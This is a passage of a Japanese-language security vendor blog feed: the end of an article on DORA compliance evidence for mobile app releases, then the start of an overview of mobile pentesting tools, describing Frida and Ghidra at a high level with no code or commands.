&lt;li&gt;&lt;strong&gt;重要なジャーニー&lt;/strong&gt;&lt;br/&gt;
  ログイン、ステップアップ認証、アカウント復旧、決済と送金、そしてアプリに含まれている場合はオンボーディング&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;スコープが明確になったので、DORAをモバイルチームにとって実践的なものに保つ、ただ一つの問いを立てることができます。&lt;/p&gt;
&lt;h2 id="doraコンプライアンスを実践的に保つ、リリース単位のただ一つの問い"&gt;DORAコンプライアンスを実践的に保つ、リリース単位のただ一つの問い&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;「このモバイルアプリのリリースは、DORAに整合した自社のアプリケーションセキュリティとレジリエンスの管理策に準拠しているか」という問いに答えるには、次の条件を満たす必要があります。&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;具体的であること&lt;/strong&gt;：特定のiOSまたはAndroidのバージョンとビルドに適用されます。  &lt;/li&gt;
&lt;li&gt;&lt;strong&gt;再現可能であること&lt;/strong&gt;：コンプライアンス部門に求められたときだけでなく、リリースのたびに答えます。  &lt;/li&gt;
&lt;li&gt;&lt;strong&gt;実行可能であること&lt;/strong&gt;：チェックとオーナーに対応付けられます。  &lt;/li&gt;
&lt;li&gt;&lt;strong&gt;レビュー可能であること&lt;/strong&gt;：リスク部門と経営陣が、毎回同じ形のエビデンスを評価できます。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;この問いは、DORA規制を「モバイルだけ」に矮小化するものではありません。モバイルチームが信頼に足る形で責任を持てるもの、つまりモバイルの成果物とモバイルのジャーニーに対するリリース単位の保証を定義しているだけです。&lt;/p&gt;
&lt;p&gt;リリース日を儀式にしてしまわずにこの問いに答えるには、最小限の運用モデルが必要です。&lt;/p&gt;
&lt;h2 id="最小限の運用モデル(リリースレコード、判定、エビデンスパック)"&gt;最小限の運用モデル（リリースレコード、判定、エビデンスパック）&lt;/h2&gt;
&lt;p&gt;リリース単位の問いに答えられるようにするには、3つの構成要素が必要です。まずは軽量に保ち、時間をかけて自動化していきます。&lt;/p&gt;
&lt;h3 id="1) リリースレコード"&gt;1) リリースレコード&lt;/h3&gt;
&lt;p&gt;これはリリースの「索引カード」です。成果物、エビデンス、判断を結び付けます。&lt;/p&gt;
&lt;p&gt;最低限の項目：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;アプリ識別子（バンドルIDまたはパッケージ名）  &lt;/li&gt;
&lt;li&gt;プラットフォーム（iOSまたはAndroid）  &lt;/li&gt;
&lt;li&gt;バージョンとビルド番号  &lt;/li&gt;
&lt;li&gt;成果物の識別子またはフィンガープリント（ハッシュまたは一意のビルドID）  &lt;/li&gt;
&lt;li&gt;ソースの参照（リポジトリとコミットSHA）  &lt;/li&gt;
&lt;li&gt;パイプライン実行ID  &lt;/li&gt;
&lt;li&gt;リリースオーナーと日付&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;エビデンスを特定の成果物に紐付けられなければ、後から何かを確実に証明することはできません。退屈な作業ですが、良い意味での退屈です。&lt;/p&gt;
&lt;h3 id="2) リリース判定"&gt;2) リリース判定&lt;/h3&gt;
&lt;p&gt;現実に即し、ガバナンスを支える判定モデルを使います。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;PASS&lt;/strong&gt; &lt;/li&gt;
&lt;li&gt;&lt;strong&gt;FAIL&lt;/strong&gt; &lt;/li&gt;
&lt;li&gt;&lt;strong&gt;PASS_WITH_EXCEPTIONS&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;PASS_WITH_EXCEPTIONSは、管理されている場合には有効です。つまり、オーナー、有効期限、補完的な管理策、修復計画が揃っているということです。例外が失効しないなら、それが事実上のベースラインになってしまいます。&lt;/p&gt;
&lt;h3 id="3) エビデンスパック"&gt;3) エビデンスパック&lt;/h3&gt;
&lt;p&gt;エビデンスパックは、判定を正当化できるものにし、DORAコンプライアンスの説明に信頼性を与えるものです。&lt;/p&gt;
&lt;p&gt;パックは次の問いに答えるべきです。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;何を出荷したか  &lt;/li&gt;
&lt;li&gt;どのチェックを実行し、何が見つかったか  &lt;/li&gt;
&lt;li&gt;リスクがあった場合、それはどう扱われ、誰が承認したか&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;リリースごとに保持すべき最低限のエビデンス：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;ビルドの来歴と署名の証明  &lt;/li&gt;
&lt;li&gt;正確な成果物に紐付いたセキュリティテストの出力  &lt;/li&gt;
&lt;li&gt;重大度とカテゴリを含む検出結果の一覧  &lt;/li&gt;
&lt;li&gt;前回承認されたリリースとの差分、何が変わったか  &lt;/li&gt;
&lt;li&gt;リリースのSDKインベントリと、前回のリリースから変わった点  &lt;/li&gt;
&lt;li&gt;重要なジャーニーに対するレジリエンス訓練とランブックが最新であることの証明  &lt;/li&gt;
&lt;li&gt;例外がある場合は、その承認と有効期限&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;モバイルチームにとっての利点は、これが再現可能になることです。意思決定者にとっての利点は、レビューが一貫性を持ち、監査可能になることです。&lt;/p&gt;
&lt;p&gt;「それでもまだ手間がかかりそうだ」と思われるなら、そのとおりです。達成可能な状態を保つために、30日で「良い状態」がどのようなものかを定義しましょう。&lt;/p&gt;
&lt;h2 id="不要な作業を生むよくある落とし穴と、よりシンプルな代替策"&gt;不要な作業を生むよくある落とし穴と、よりシンプルな代替策&lt;/h2&gt;
&lt;h3 id="落とし穴1:「スキャンの結果、doraに準拠していると出た」"&gt;落とし穴1：「スキャンの結果、DORAに準拠していると出た」&lt;/h3&gt;
&lt;p&gt;スキャンは価値あるエビデンスですが、&lt;strong&gt;DORAコンプライアンス&lt;/strong&gt;は単一の出力よりも広範なものです。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;よりシンプルな代替策&lt;/strong&gt;：主張はリリース単位にとどめます。スキャンは、リリース判定とエビデンスパックへのエビデンスの入力として使います。&lt;/p&gt;
&lt;h3 id="落とし穴2:モバイルがすべてを担うまで膨らむスコープ"&gt;落とし穴2：モバイルがすべてを担うまで膨らむスコープ&lt;/h3&gt;
&lt;p&gt;責任の所在が不明確だと、モバイルチームが組織の半分を調整する羽目になります。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;よりシンプルな代替策&lt;/strong&gt;：厳密なモバイルスコープを保ちます。モバイルリリース、重要なモバイルジャーニー、組み込みSDKのガバナンス、リリース単位のエビデンスを担います。上流の管理策については、ID、プラットフォーム、プロバイダーの各オーナーと連携します。&lt;/p&gt;
&lt;h3 id="落とし穴3:エビデンスを示せない管理策"&gt;落とし穴3：エビデンスを示せない管理策&lt;/h3&gt;
&lt;p&gt;管理策を成果物、レポート、チケット、ログに紐付けられなければ、それは繰り返し議論の的になります。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;よりシンプルな代替策&lt;/strong&gt;：エビデンスが明白になるまで管理策を書き直します。エビデンスを示せないなら、それはまだ管理策ではありません。&lt;/p&gt;
&lt;h3 id="落とし穴4:失効しない例外"&gt;落とし穴4：失効しない例外&lt;/h3&gt;
&lt;p&gt;恒久的な例外は、恒久的なリスクに変わります。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;よりシンプルな代替策&lt;/strong&gt;：すべての例外には、オーナー、有効期限、補完的な管理策、修復計画が必要です。有効期限の順守状況を追跡します。&lt;/p&gt;
&lt;h3 id="落とし穴5:ジャーニーではなくコンポーネントをテストする"&gt;落とし穴5：ジャーニーではなくコンポーネントをテストする&lt;/h3&gt;
&lt;p&gt;コンポーネントのテストは有用ですが、顧客が体験するのはジャーニーです。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;よりシンプルな代替策&lt;/strong&gt;：重要なジャーニーを定義し、IDサービスの劣化、OTPの遅延、プッシュ通知の途絶、プロバイダーの障害など、ジャーニーを壊す障害モードを訓練します。&lt;/p&gt;
&lt;p&gt;本記事から一つだけ持ち帰るなら、これを覚えておいてください。DORAは、モバイルのリリースサイクルの外側に存在する並行した「コンプライアンスプロジェクト」になる必要はありません。スコープをモバイルに保ち、リリースをガバナンスの単位とし、出荷しながらエビデンスを生成すれば、&lt;strong&gt;DORA規制&lt;/strong&gt;の要件は管理可能になり、&lt;strong&gt;DORAコンプライアンス&lt;/strong&gt;は再現可能になります。&lt;/p&gt;
&lt;p&gt;次回の記事では、これをさらに具体的にします。シンプルな&lt;strong&gt;DORAに整合したモバイルリリース管理策のベースライン&lt;/strong&gt;を定義し、それを明確な&lt;strong&gt;PASS、FAIL、PASS_WITH_EXCEPTIONS&lt;/strong&gt;の判定に変える方法を示し、デリバリーを遅らせずに例外を扱う最も簡単な方法を紹介します。&lt;/p&gt;
&lt;h2 id="このモバイルdoraスコープにおけるostorlabの役割"&gt;このモバイルDORAスコープにおけるOstorlabの役割&lt;/h2&gt;
&lt;p&gt;スキャンはエビデンスの入力であり、DORAの判定ではありません（落とし穴1）。ここでは、Ostorlabがモバイルリリースのためにエビデンスパックのどの部分を作成できるか、そのために何が必要か、そして何が自社チームに残るかを説明します。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;エビデンスパックとして得られるもの&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;ビルドに紐付いたセキュリティテストの出力&lt;/strong&gt;：ビルドごと、ストアリリースごとのスキャン結果。各検出結果はクリティカル、高、中、低で評価され、潜在的な検出結果は分けて管理されます。モバイルのSASTはソースコードを必要とせず、APK、AAB、IPAを直接解析します。モバイルのDASTはアプリを実行し、トラフィック、スタックトレース、スクリーンショットを取得します。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;リリースごとのSDKインベントリ&lt;/strong&gt;：各リリースに含まれるSDKとネイティブライブラリを、そのバージョンとアプリバンドル内の場所とともに、既知の脆弱性に対応付けてリリースからリリースへと追跡します。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;ログイン後の重要なジャーニーのテスト&lt;/strong&gt;：Ostorlabはテストアカウントでログインし、SMS、メール、TOTPのワンタイムコードを入力して、ステップアップのフローを含め、ログイン、トークンの更新、セッションの無効化、MFAの強制をテストします。アプリとそのAPIに対するAIエージェントによるペンテストでは、AIエージェントの検出結果ごとに、再生可能な実際に動作するエクスプロイトが追加されます。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;修復の証明&lt;/strong&gt;：検出結果はプラットフォーム内、またはJiraやServiceNowのチケットとして追跡され、修正後の再テストによって問題が解決したかどうかが確認されます。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;必要なもの&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;リリース成果物（APK、AAB、IPA）、またはストアやTestFlightのアプリ&lt;/li&gt;
&lt;li&gt;すべてのビルドがスキャンされるよう、CI/CDパイプラインに組み込まれたスキャン。リリースのない週でも、スケジュールされたパイプライン実行によって週次のペースを維持できます。&lt;/li&gt;
&lt;li&gt;ログイン画面だけでなく、ログイン、決済、アカウント変更までテストできるようにするための、テストアカウントとワンタイムコードの受け取り手段&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;自社チームに残るもの&lt;/strong&gt;：Ostorlabは、モバイルアプリとその背後にあるAPIを対象とします。リリース判定、例外の承認、業務機能の分類、テストプログラムは自社の責任として残ります。Ostorlabは脅威ベースのペネトレーションテスト（TLPT）を実施せず、それに代わるものでもありません。既知のアプリとAPIの問題を修正した状態でTLPTに臨めるよう支援し、その後に修復計画のアプリとAPIの項目を再テストするのを支援します。ネットワーク、物理セキュリティ、バックアップ、インシデント管理など、アプリケーション層を超える要件は、他のツールとチームの担当です。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;エビデンス&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://ostorlab.co/solutions/banking-regulations/dora-resilience-testing"&gt;モバイルバンキングアプリのためのDORAレジリエンステスト&lt;/a&gt;では、DORAのテスト要件ごとに、Ostorlabが行うことと自社に残ることを対応付けています。&lt;/li&gt;
&lt;li&gt;&lt;a href="https://ostorlab.co/case-studies/bumble"&gt;Bumbleの導入事例&lt;/a&gt;は、リリースゲートの実践例を示しています。修正が確認されるまで、HighとCriticalの検出結果があるリリースはブロックされます。&lt;/li&gt;
&lt;li&gt;ICTサードパーティリスクのレビューに向けて：Ostorlabは、2024年11月18日から2025年4月18日までを対象期間とするSOC 2 Type IIレポート（Securityの基準）を取得しており、現在の期間の監査が進行中です。Enterpriseプランでは、EUでのデータ保管を選択するか、オンプレミスでスキャンを実行できます。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;次のステップ&lt;/strong&gt;：ベースラインを取りましょう。顧客向けの各アプリをストアからの無料スキャンで一度スキャンし、&lt;a href="https://ostorlab.co/demo"&gt;デモを予約&lt;/a&gt;して、リリース全体にわたるテストを計画してください。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;次回&lt;/strong&gt;：&lt;a href="https://blog.ostorlab.co/dora-compliance-for-mobile-releases.html"&gt;&lt;em&gt;モバイルリリースのためのDORAコンプライアンス：最も簡単なベースライン、判定、例外のモデル&lt;/em&gt;&lt;/a&gt;  モバイルリリースの準備、AppSecのゲート、リスク部門の承認を担当しているなら、この記事がDORAを「何かしなければ」から「リリースはこうやって回す」へと変えてくれます。&lt;/p&gt;</content><category term="Security"/><category term="DORA"/><category term="Compliance"/><category term="Mobile"/><category term="Security"/></entry><entry><title>モバイルアプリのペネトレーションテストツール トップ10（2026年版）</title><link href="https://blog.ostorlab.co/ja/top-10-mobile-pentesting-tools-in-2026.html" rel="alternate"/><published>2026-02-27T16:00:00+01:00</published><updated>2026-10-06T10:00:00+02:00</updated><author><name>Youssef Mabrouk</name></author><id>tag:blog.ostorlab.co,2026-02-27:/ja/top-10-mobile-pentesting-tools-in-2026.html</id><summary type="html">&lt;p&gt;当社チームがモバイルアプリのペンテストで使用している10のツールを、Frida、Ghidra、Jadxからmitmproxy、Nucleiまで、それぞれの最適な用途、強み、限界とあわせて紹介します。&lt;/p&gt;</summary><content type="html">&lt;p&gt;モバイルのペネトレーションテスト（ペンテスト）は、基本的な手動テストから、自動スキャン、AI支援型の分析、高度なリバースエンジニアリングを含むものへと進化してきました。現在のツールは、セキュリティチームが複雑なアプリに対処し、隠れた脆弱性を効率よく発見するのに役立ちます。この記事では、当社のセキュリティチームが実際のテストで使用している&lt;strong&gt;モバイルアプリのペンテストツール トップ10&lt;/strong&gt;を紹介します。&lt;/p&gt;
&lt;h2 id="モバイルアプリのペンテストツール一覧"&gt;モバイルアプリのペンテストツール一覧&lt;/h2&gt;
&lt;p&gt;以下に挙げるツールはすべて&lt;strong&gt;無料のオープンソース&lt;/strong&gt;であり、それぞれが&lt;strong&gt;モバイルのペネトレーションテスト&lt;/strong&gt;において特定の役割を担っています。この表では、各ツールが対応するプラットフォーム、主な目的、典型的なユースケースを簡単にまとめています。&lt;/p&gt;
&lt;table class="table table-striped"&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th style="background-color: #f0f0f0;"&gt;カテゴリ&lt;/th&gt;
&lt;th style="background-color: #f0f0f0;"&gt;ツール&lt;/th&gt;
&lt;th style="background-color: #f0f0f0;"&gt;プラットフォーム&lt;/th&gt;
&lt;th style="background-color: #f0f0f0;"&gt;主な目的・ユースケース&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td rowspan="1"&gt;&lt;strong&gt;実行時の動的解析&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;a href="https://github.com/frida/frida"&gt;&lt;strong&gt;Frida&lt;/strong&gt;&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;Android &amp;amp; iOS&lt;/td&gt;
&lt;td&gt;実行時の計装、フック、セキュリティ制御の回避、暗号処理と認証フローの調査&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style="background-color: #ffffff;"&gt;
&lt;td rowspan="2"&gt;&lt;strong&gt;静的解析とリバースエンジニアリング&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;a href="https://github.com/NationalSecurityAgency/ghidra"&gt;&lt;strong&gt;Ghidra&lt;/strong&gt;&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;Android &amp;amp; iOS&lt;/td&gt;
&lt;td&gt;低レベルのバイナリ解析、ファームウェアとライブラリのリバースエンジニアリング、マルウェア解析&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style="background-color: #ffffff;"&gt;
&lt;td&gt;&lt;a href="https://github.com/skylot/jadx"&gt;&lt;strong&gt;JADX&lt;/strong&gt;&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;Android&lt;/td&gt;
&lt;td&gt;Android APKをJava風のソースコードへ逆コンパイル、静的な調査、難読化されたコードのレビュー&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td rowspan="2"&gt;&lt;strong&gt;ネットワークトラフィック解析&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;a href="https://github.com/mitmproxy/mitmproxy"&gt;&lt;strong&gt;mitmproxy&lt;/strong&gt;&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;Android &amp;amp; iOS&lt;/td&gt;
&lt;td&gt;APIテストとセキュリティ検証のための、HTTP/S/WebSocketの対話的な傍受と改ざん&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;a href="https://github.com/wireshark/wireshark"&gt;&lt;strong&gt;Wireshark&lt;/strong&gt;&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;Android &amp;amp; iOS&lt;/td&gt;
&lt;td&gt;パケットレベルのネットワークキャプチャと調査、プロトコルのデバッグ、データ漏えいの発見&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style="background-color: #ffffff;"&gt;
&lt;td rowspan="2"&gt;&lt;strong&gt;自動化とオーケストレーション&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;a href="https://github.com/Ostorlab/oxo"&gt;&lt;strong&gt;OXO&lt;/strong&gt;&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;Android &amp;amp; iOS&lt;/td&gt;
&lt;td&gt;複数のモバイルセキュリティツールの連携、ワークフローの自動化、スケーラブルなテストパイプライン&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style="background-color: #ffffff;"&gt;
&lt;td&gt;&lt;a href="https://www.python.org/"&gt;&lt;strong&gt;Python&lt;/strong&gt;&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;Android &amp;amp; iOS&lt;/td&gt;
&lt;td&gt;カスタムスクリプト、自動化、ツール間の橋渡し、エクスプロイトのプロトタイピング&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td rowspan="1"&gt;&lt;strong&gt;AI支援型の開発&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt; OpenCode / Claude Code / Gemini Code &lt;/td&gt;
&lt;td&gt;Android &amp;amp; iOS&lt;/td&gt;
&lt;td&gt;コード作成、スクリプト作成、エクスプロイトのプロトタイピング、テスト自動化の高速化&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style="background-color: #ffffff;"&gt;
&lt;td rowspan="1"&gt;&lt;strong&gt;インフラ・ラボ環境の構築&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;a href="https://github.com/docker"&gt;&lt;strong&gt;Docker&lt;/strong&gt;&lt;/a&gt; / &lt;a href="https://github.com/docker/compose"&gt;&lt;strong&gt;Docker Compose&lt;/strong&gt;&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;Android &amp;amp; iOS&lt;/td&gt;
&lt;td&gt;ツールやバックエンドサービスのための、再現可能で隔離されたテスト環境&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td rowspan="1"&gt;&lt;strong&gt;自動脆弱性スキャン&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;a href="https://github.com/projectdiscovery/nuclei"&gt;&lt;strong&gt;Nuclei&lt;/strong&gt;&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;Android &amp;amp; iOS&lt;/td&gt;
&lt;td&gt;CVE、設定ミス、露出したエンドポイントを対象とした、テンプレート駆動で高速かつスケーラブルなスキャン&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h2 id="1. frida"&gt;1. Frida&lt;/h2&gt;
&lt;p&gt;&lt;figure&gt;&lt;img alt="ターミナルで実行中のFridaツール" class="img-fluid" src="https://blog.ostorlab.co/static/img/2026_02_20_top_10_mobile_pentesting_tools_in_2026/Frida.png" title="モバイルアプリケーションにアタッチしたFridaツールを表示するターミナルウィンドウ"/&gt;&lt;figcaption style="text-align: center; font-weight: 400; font-style: italic; font-size: 16px; color: #656d76;"&gt;モバイルアプリケーションにアタッチしたFridaツールを表示するターミナルウィンドウ&lt;/figcaption&gt;&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;Fridaは、モバイルアプリケーションの実行時の解析と計装を深いレベルで可能にします。当社のセキュリティチームは、アプリをリバースし、改変し、再コンパイルして再インストールする代わりに、Fridaを使って稼働中のプロセスに直接アタッチし、カスタムスクリプトを注入して、その挙動を即座に観察します。&lt;/p&gt;
&lt;p&gt;実際のモバイルペンテストでは、Fridaを使って内部ロジックを追跡し、暗号処理や認証フローをフックし、セキュリティ制御を回避し、実行時の挙動を動的に解析しています。そのため、Fridaは高度なモバイルセキュリティテストにおいて最も高速かつ強力なツールの一つとなっています。
&lt;br/&gt;&lt;br/&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;最適な用途&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;主な焦点&lt;/strong&gt;：モバイルアプリケーションの実行時の操作と動的解析&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;中核的な用途&lt;/strong&gt;：暗号処理と認証ロジックのフックと調査&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;運用上の目的&lt;/strong&gt;：アプリケーションの挙動をリアルタイムで観察・変更すること&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;テストの目的&lt;/strong&gt;：バイナリを改変せずに行うセキュリティ制御の回避テスト
  &lt;br/&gt;&lt;br/&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;優れている点&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;ライブフック&lt;/strong&gt;：ソースコードや再コンパイルを必要とせず、実行時にアプリの挙動を傍受・変更できます。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;関数とAPIのフック&lt;/strong&gt;：認証チェック、暗号化ルーチン、APIリクエスト処理など、セキュリティ上重要なロジックを観察、変更、回避できます。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;リアルタイムのスクリプト実行&lt;/strong&gt;：実行中のプロセスにスクリプトを注入し、変化を即座に観察できます。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;クロスプラットフォーム対応&lt;/strong&gt;：Android、iOS、Windows、macOS、Linux、watchOS、tvOS、FreeBSD、QNX&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;多言語対応&lt;/strong&gt;：Python、Node.js、Swift、.NET、Go、C&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;オープンソース&lt;/strong&gt;：セキュリティテストと研究に無料で利用できます。
  &lt;br/&gt;&lt;br/&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;限界とトレードオフ&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;習得の難しさ&lt;/strong&gt;：OSの内部構造、アプリケーションのランタイム、スクリプト作成についての理解が必要です。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;脆弱性スキャン機能を内蔵していない&lt;/strong&gt;：検出、レポート作成、ワークフローの実装を手作業で行う必要があります。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;手作業が必要&lt;/strong&gt;：アプリケーションごとにカスタムスクリプトが必要です。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;堅牢化されたアプリケーションによる検知&lt;/strong&gt;：実行時の完全性チェックやアンチフック保護によって検知されます。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;運用の複雑さ&lt;/strong&gt;：root化したAndroid端末やジェイルブレイクしたiOS端末でのセットアップに手間がかかります。
  &lt;br/&gt;&lt;br/&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;当社の評価における典型的なユースケース&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;SSLピンニングの回避&lt;/strong&gt;：証明書検証とネットワークセキュリティ制御の回避&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;認可テスト&lt;/strong&gt;：アクセス制御と権限の適用に関する実行時テスト&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;暗号処理の調査&lt;/strong&gt;：暗号APIをフックし、暗号化ロジックと鍵の取り扱いを調査&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;改ざん防止の回避&lt;/strong&gt;：アンチデバッグと実行時保護の仕組みの無効化&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;ロジックの追跡&lt;/strong&gt;：認証とセッション処理の際に、機密性の高いアプリケーションロジックを追跡&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="2. ghidra"&gt;2. Ghidra&lt;/h2&gt;
&lt;p&gt;&lt;figure&gt;&lt;img alt="Ghidraツールのインターフェース" class="img-fluid" src="https://blog.ostorlab.co/static/img/2026_02_20_top_10_mobile_pentesting_tools_in_2026/Ghidra.png" title="コード解析パネルを備えたGhidraツールを表示するデスクトップウィンドウ"/&gt;&lt;figcaption style="text-align: center; font-weight: 400; font-style: italic; font-size: 16px; color: #656d76;"&gt;コード解析パネルを備えたGhidraツールを表示するデスクトップウィンドウ&lt;/figcaption&gt;&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;Ghidraは、&lt;strong&gt;米国国家安全保障局&lt;/strong&gt;（NSA）が、バイナリの詳細な解析と脆弱性研究を支援するために開発・保守している&lt;strong&gt;オープンソースのソフトウェアリバースエンジニアリングフレームワーク&lt;/strong&gt;です。もともとは、NSAのアナリストが複雑なコンパイル済みコードを理解し、大規模なリバースエンジニアリングのワークフローを自動化し、セキュリティプロジェクトで共同作業するための内部ツールとして構築されました。Ghidraは2019年に一般公開され、その全ソースコードはNSAの公式GitHubリポジトリで公開されています。&lt;/p&gt;
&lt;p&gt;当社のセキュリティチームは、&lt;strong&gt;ソースコードにアクセスできない状態で、コンパイル済みのモバイルバイナリ、ファームウェア、ライブラリを解析する&lt;/strong&gt;必要があるときにGhidraを使用します。これにより、アプリケーションのロジックを解きほぐし、隠れた挙動を特定し、動的なツールや抽象度の高いツールでは検出できないことが多い脆弱性を発見できます。そうしたツールは、Ghidraのように低レベルのバイナリの水準でプログラムを解析しないためです。
&lt;br/&gt;&lt;br/&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;最適な用途&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;主な焦点&lt;/strong&gt;：コンパイル済みバイナリの静的解析、特にセキュリティ研究と脆弱性の特定&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;中核的な用途&lt;/strong&gt;：モバイルバイナリ、組み込みファームウェア、サードパーティライブラリのリバースエンジニアリング&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;運用上の目的&lt;/strong&gt;：ソースコードが入手できない場合に、ソフトウェアの深い内部ロジックを理解すること&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;テストの目的&lt;/strong&gt;：マルウェア解析、脆弱性の発見、制御フローとデータフローの詳細な調査
  &lt;br/&gt;&lt;br/&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;優れている点&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;逆アセンブルと逆コンパイル&lt;/strong&gt;：機械語をアセンブリや高水準のC風疑似コードに変換し、当社チームが複雑なロジックをすばやく読み解くのに役立ちます。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;多数のアーキテクチャへの対応&lt;/strong&gt;：多くのアーキテクチャ（x86、ARM、MIPS、PowerPCなど）のバイナリを扱えるため、モバイル、IoT、組み込み機器の解析に最適です。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;グラフィカルなコードナビゲーション&lt;/strong&gt;：制御フローグラフ、コールツリー、関数間の関係を可視化し、複雑なコードパスを分析しやすくします。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;スクリプトと自動化&lt;/strong&gt;：JavaとPythonに対応しており、繰り返し作業を自動化し、独自の解析ルーチンを当社のワークフローに組み込めます。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;モジュール式で拡張可能&lt;/strong&gt;：プラグインアーキテクチャにより、専門的なタスクに合わせたカスタマイズや拡張が可能です。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;共同作業機能&lt;/strong&gt;：複数のアナリストが同じプロジェクトで作業し、変更を追跡し、検出結果を効率よく共有できます。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;オープンソース&lt;/strong&gt;：オープンソースライセンスのもとで無料で提供されており、コミュニティからの貢献と迅速な進化を促しています。
  &lt;br/&gt;&lt;br/&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;限界とトレードオフ&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
